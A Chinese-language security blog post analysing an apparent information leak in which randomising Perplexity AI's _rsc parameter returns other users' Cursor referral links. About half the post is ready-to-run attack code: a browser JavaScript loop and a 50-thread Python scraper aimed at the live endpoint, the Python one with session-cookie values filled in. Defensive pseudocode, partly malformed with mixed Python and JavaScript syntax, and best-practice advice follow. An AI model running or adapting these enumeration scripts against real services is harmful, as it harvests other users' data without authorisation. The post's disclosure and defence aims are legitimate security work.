参数猜测与信息泄露:Perplexity AI 响应中的推荐码泄露分析
Perplexity AI https://www.perplexity.ai/account/pro-perks pro 优惠,点击任意产品返回的时候,有个接口https://www.perplexity.ai/account/pro-perks?_rsc=1jj9h
核心问题概述: 该脚本使用用户自己的 cookie 保持登录状态,但通过随机生成不同的
_rsc参数值,能成功获取不属于该用户的 Cursor 推荐链接。这表明 Perplexity AI 的 API 没有验证_rsc参数与 cookie 中用户身份的对应关系,导致严重的信息泄露漏洞。
重要补充: 此 JavaScript 脚本设计为在浏览器环境中运行,通过
document.cookie获取用户 cookie。相同的攻击逻辑也可以轻松移植到 Python 等其他语言的脚本中,进一步增加了攻击的自动化程度和规模。
引言
最近我们分析了一段 JavaScript 脚本,该脚本揭示了一个值得关注的信息安全问题:通过参数猜测,可以从 Perplexity AI 网站的响应中获取 Cursor 的推荐链接。关键问题在于,即使使用随机生成的_rsc参数,API 响应中仍然会返回敏感的推荐码信息,这是一个典型的信息泄露漏洞。
完整代码
// 生成随机的5位小写字母和数字组合
function generateRandomCode(length = 5) {
const characters = "abcdefghijklmnopqrstuvwxyz0123456789";
let result = "";
for (let i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
return result;
}
// 从响应文本中提取referral链接
function extractReferralLink(text) {
// 匹配形如https://cursor.com/referral?code=VWF8EBCTHVDT的链接
// code是大写字母和数字的组合
const regex = /https:\/\/cursor\.com\/referral\?code=[A-Z0-9]+/g;
const matches = text.match(regex);
return matches ? matches[0] : null;
}
// 创建一个全局变量来存储interval ID,便于停止
let intervalId = null;
// 停止函数
function stopFetching() {
if (intervalId !== null) {
clearInterval(intervalId);
console.log("已停止自动获取链接");
intervalId = null;
} else {
console.log("没有正在运行的获取任务");
}
}
// 主函数,每0.5秒执行一次
function startFetching() {
// 如果已经在运行,先停止
if (intervalId !== null) {
stopFetching();
}
// 使用当前页面的cookie
const cookies = document.cookie;
// 使用当前页面URL作为referer
const referer = window.location.href;
console.log("开始执行,每0.5秒尝试一次...");
console.log("输入 stopFetching() 可以停止执行");
// 使用setInterval定期执行
intervalId = setInterval(async () => {
// 生成随机五位码
const randomCode = generateRandomCode();
try {
// 构建URL,将rsc参数替换为随机生成的代码
const url = `https://www.perplexity.ai/account/pro-perks?_rsc=${randomCode}`;
// 发送请求
const response = await fetch(url, {
headers: {
accept: "text/event-stream",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"cache-control": "no-cache",
"content-type": "application/json",
pragma: "no-cache",
priority: "u=1, i",
"sec-ch-ua":
'"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
"sec-ch-ua-arch": '"x86"',
"sec-ch-ua-bitness": '"64"',
"sec-ch-ua-full-version": '"135.0.7049.115"',
"sec-ch-ua-full-version-list":
'"Google Chrome";v="135.0.7049.115", "Not-A.Brand";v="8.0.0.0", "Chromium";v="135.0.7049.115"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-model": '""',
"sec-ch-ua-platform": '"Windows"',
"sec-ch-ua-platform-version": '"15.0.0"',
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
cookie: "用户实际的cookie",
Referer: "https://www.perplexity.ai/",
"Referrer-Policy": "strict-origin-when-cross-origin",
},
method: "GET",
credentials: "include", // 确保包含凭证
});
// 获取响应文本
const responseText = await response.text();
// 提取referral链接
const referralLink = extractReferralLink(responseText);
// 如果找到链接,则输出
if (referralLink) {
console.log(`${referralLink}`);
// 找到链接后不停止,继续尝试获取更多链接
}
} catch (error) {
// 失败时不输出任何内容
}
}, 500); // 每0.5秒执行一次
}
// 将函数暴露到全局作用域,以便用户可以手动调用
window.startFetching = startFetching;
window.stopFetching = stopFetching;
// 自动开始执行
startFetching();核心问题分析
通过分析代码和测试结果,我们发现了一个严重的信息泄露问题:
1. 响应中的敏感信息泄露
最关键的安全问题是:脚本使用用户自己的 cookie 保持身份验证,但通过随机修改_rsc参数,成功获取到了不属于该用户的 Cursor 推荐链接。这意味着:
API 没有正确验证
_rsc参数与 cookie 中用户身份的对应关系服务器在接收到随机生成的
_rsc值时,可能错误地返回了其他用户的推荐链接这种漏洞允许用户"窃取"不属于自己的推荐码
2. 浏览器环境与 Python 脚本移植
当前脚本是在浏览器环境中运行的,通过document.cookie获取用户凭证:
// 使用当前页面的cookie
const cookies = document.cookie;这种攻击完全可以移植到 Python 脚本中,实现自动化和更高效的攻击:
Python 多线程实现的高效攻击脚本示例
import requests
import random
import string
import re
import time
from concurrent.futures import ThreadPoolExecutor
import threading
# 打印锁,防止输出混乱
print_lock = threading.Lock()
def generate_random_code(length=5):
characters = string.ascii_lowercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def extract_referral_link(text):
pattern = r'https://cursor\.com/referral\?code=[A-Z0-9]+'
matches = re.findall(pattern, text)
return matches[0] if matches else None
# 用户提供的cookie
cookies = {
'pplx.visitor-id': '2c604677-abc0-49d4-80a4-3cf0ab336eea',
'pplx.session-id': 'fda38660-92a3-439f-86fb-4cd201aa4de4',
# 其他cookie...
}
headers = {
'accept': 'text/event-stream',
'accept-language': 'zh-CN,zh;q=0.9',
'cache-control': 'no-cache',
'content-type': 'application/json',
'referer': 'https://www.perplexity.ai/',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
}
# 保存找到的链接,使用集合去重
found_links = set()
# 统计数据
attempts = 0
# 使用线程安全的集合
found_links_lock = threading.Lock()
def check_code(random_code):
global attempts
url = f"https://www.perplexity.ai/account/pro-perks?_rsc={random_code}"
try:
response = requests.get(url, headers=headers, cookies=cookies, timeout=5)
referral_link = extract_referral_link(response.text)
with found_links_lock:
attempts += 1
if referral_link and referral_link not in found_links:
found_links.add(referral_link)
with print_lock:
print(f"[+] 找到新链接: {referral_link} (尝试次数: {attempts})")
# 保存到文件
with open("found_links.txt", "a") as f:
f.write(f"{referral_link}\n")
# 每100次尝试显示一次统计
if attempts % 100 == 0:
with print_lock:
print(f"[*] 已尝试: {attempts} 次, 找到: {len(found_links)} 个链接")
except Exception as e:
pass # 忽略错误
def main():
# 线程数,可以根据系统性能和网络带宽调整
num_threads = 50
print(f"[*] 启动多线程攻击,使用 {num_threads} 个线程")
try:
with ThreadPoolExecutor(max_workers=num_threads) as executor:
while True:
# 生成一批随机码
random_codes = [generate_random_code() for _ in range(num_threads)]
# 提交到线程池
futures = [executor.submit(check_code, code) for code in random_codes]
# 等待所有请求完成
for future in futures:
future.result()
except KeyboardInterrupt:
print(f"\n[!] 已停止。共尝试 {attempts} 次,找到 {len(found_links)} 个链接。")
if __name__ == "__main__":
main()多线程 Python 脚本的危险性大幅提升
与浏览器中运行的 JavaScript 脚本相比,多线程 Python 脚本在攻击效率上有质的飞跃:
并发请求数量激增
浏览器端:受同源策略限制,通常并发连接数为 6-8 个
Python 脚本:可轻松实现 50-100 个线程并发请求,甚至更多
处理速度倍增
浏览器端:每 0.5 秒处理 1 个请求,约每分钟 120 个请求
Python 脚本:50 线程并发,约每分钟 6000 个请求(提升 50 倍)
绕过浏览器限制
无需用户交互
无浏览器 CPU 和内存限制
可在服务器 24 小时不间断运行
自动化程度提高
可轻松实现请求失败重试
自动保存和去重结果
可实现分布式攻击(多 IP)
攻击范围扩大
- 可尝试更多的参数组合
- 可以更系统地枚举参数空间
防御多线程脚本攻击的额外措施
针对更高效的 Python 多线程攻击脚本,服务端需要增强防御措施:
更严格的速率限制
# 服务端示例(伪代码) def rateLimit(req, res, next): clientIP = req.ip userID = req.session?.userID # 基于IP的限制 if (exceededIPLimit(clientIP)) { return res.status(429).send("请求过多") } # 基于用户ID的限制 if (userID && exceededUserLimit(userID)) { return res.status(429).send("请求过多") } # 基于参数模式的限制(检测随机参数) if (detectRandomParamPattern(req.query)) { logSuspiciousActivity(clientIP, req.query) return res.status(403).send("可疑请求模式") } next() }行为分析与模式识别
# 检测可能的参数枚举攻击 def detectParameterEnumeration(userID, recentRequests): # 分析最近请求中参数的变化模式 paramVariations = extractParamVariations(recentRequests) # 检查是否表现为随机参数模式 if (looksLikeRandomGeneration(paramVariations)): # 触发安全警报 triggerSecurityAlert("可能的参数枚举", userID, paramVariations) # 临时阻止该用户 blockUserTemporarily(userID, 30) # 阻止30分钟 return true return false }自动调整的防御机制
# 动态调整防御级别 def adjustDefenseLevel(): # 监控系统负载和可疑请求比例 currentLoad = getSystemLoad() suspiciousRatio = getSuspiciousRequestRatio() if (currentLoad > 80 || suspiciousRatio > 0.1): # 提高防御级别 increaseRateLimits() enableStricterValidation() reduceTimeoutValues() }
有问题的系统设计模式分析
危险的设计模式:短标识符与参数分离认证
这个案例揭示了一种常见但危险的系统设计模式:
短标识符依赖
使用过短的标识符(5 位)作为用户或资源标识
可枚举性极高(约 6,000 万种可能性)
容易被暴力猜测和枚举攻击
分离的认证机制
Cookie 验证和参数验证相互独立
系统未将
_rsc参数与用户会话关联验证导致可通过合法 cookie 和猜测参数组合访问未授权资源
资源分区不当
基于简单参数访问不同用户资源
缺乏多层次验证和授权检查
混淆了身份验证与授权控制
过度信任单一认证因素
仅验证 cookie 有效性,忽略 URL 参数与用户的关联
没有实施"纵深防御原则"
缺少会话状态的完整性检查
此类设计的风险
资源枚举攻击:通过有限空间的标识符猜测可访问其他用户资源
身份混淆:系统无法区分合法用户与非法访问
大规模信息泄露:一个认证漏洞可能导致所有用户数据被枚举获取
权限提升:低权限用户可能访问到高权限资源
正确的设计模式与解决方案
安全设计模式:多因素关联认证
正确的设计模式应该采用:
强标识符设计
// 生成安全的资源标识符 function generateSecureIdentifier() { return crypto.randomBytes(32).toString("hex"); // 64位长度的十六进制字符串 }会话与参数绑定
// 创建用户会话时,将所有相关参数绑定到会话 function createUserSession(user) { const sessionId = generateSecureIdentifier(); const rscToken = generateSecureIdentifier(); // 存储会话与参数的关联 sessions[sessionId] = { userId: user.id, rscToken: rscToken, createdAt: Date.now(), // 其他会话数据 }; return { sessionId, rscToken }; }完整的请求验证流程
// 请求处理中间件 function validateRequest(req, res, next) { const sessionId = req.cookies.sessionId; const session = sessions[sessionId]; // 1. 验证会话是否存在且有效 if (!session || isSessionExpired(session)) { return res.status(401).json({ error: "未认证或会话已过期" }); } // 2. 验证URL参数与会话的绑定关系 if (req.query._rsc !== session.rscToken) { logSecurityEvent("参数不匹配", { sessionId, expected: session.rscToken, received: req.query._rsc, }); return res.status(403).json({ error: "无效的请求参数" }); } // 3. 验证资源访问权限 if (!canAccessResource(session.userId, req.path)) { return res.status(403).json({ error: "无权访问请求的资源" }); } // 所有验证通过,继续处理请求 next(); }资源访问控制列表
// 基于资源的访问控制 function canAccessResource(userId, resourcePath) { // 查询用户权限 const userPermissions = getUserPermissions(userId); // 检查资源访问权限 return checkResourcePermission(userPermissions, resourcePath); }响应过滤器
// 过滤响应中的敏感信息 function filterResponse(data, user, requestedResource) { // 移除不相关的敏感信息 const filteredData = { ...data }; // 只返回用户有权访问的数据 if (!userCanAccessField(user, requestedResource, "referralLinks")) { delete filteredData.referralLinks; } return filteredData; }
最佳实践总结
使用足够长的标识符
最低 16 位,推荐 32 位以上
使用加密安全的随机数生成器
实施多因素关联验证
验证会话有效性
验证参数与会话的绑定关系
验证资源访问权限
资源分区与访问控制
明确资源所有权
实施严格的访问控制策略
最小权限原则
监控与防御措施
记录异常访问模式
实施速率限制
定期安全审计
结论
这个案例清晰展示了 Web 应用常见的危险设计模式:使用短标识符和分离认证机制导致的信息泄露问题。特别值得注意的是,这类攻击不仅可以通过浏览器执行,还可以轻松移植到 Python 等脚本语言中,使得攻击更加高效和自动化。
只有实施完整的多因素关联验证、使用足够长的随机标识符,并在系统设计之初就考虑安全因素,才能有效防止此类信息泄露和未授权访问问题。这不仅是技术实现问题,更是整个系统设计思想的体现。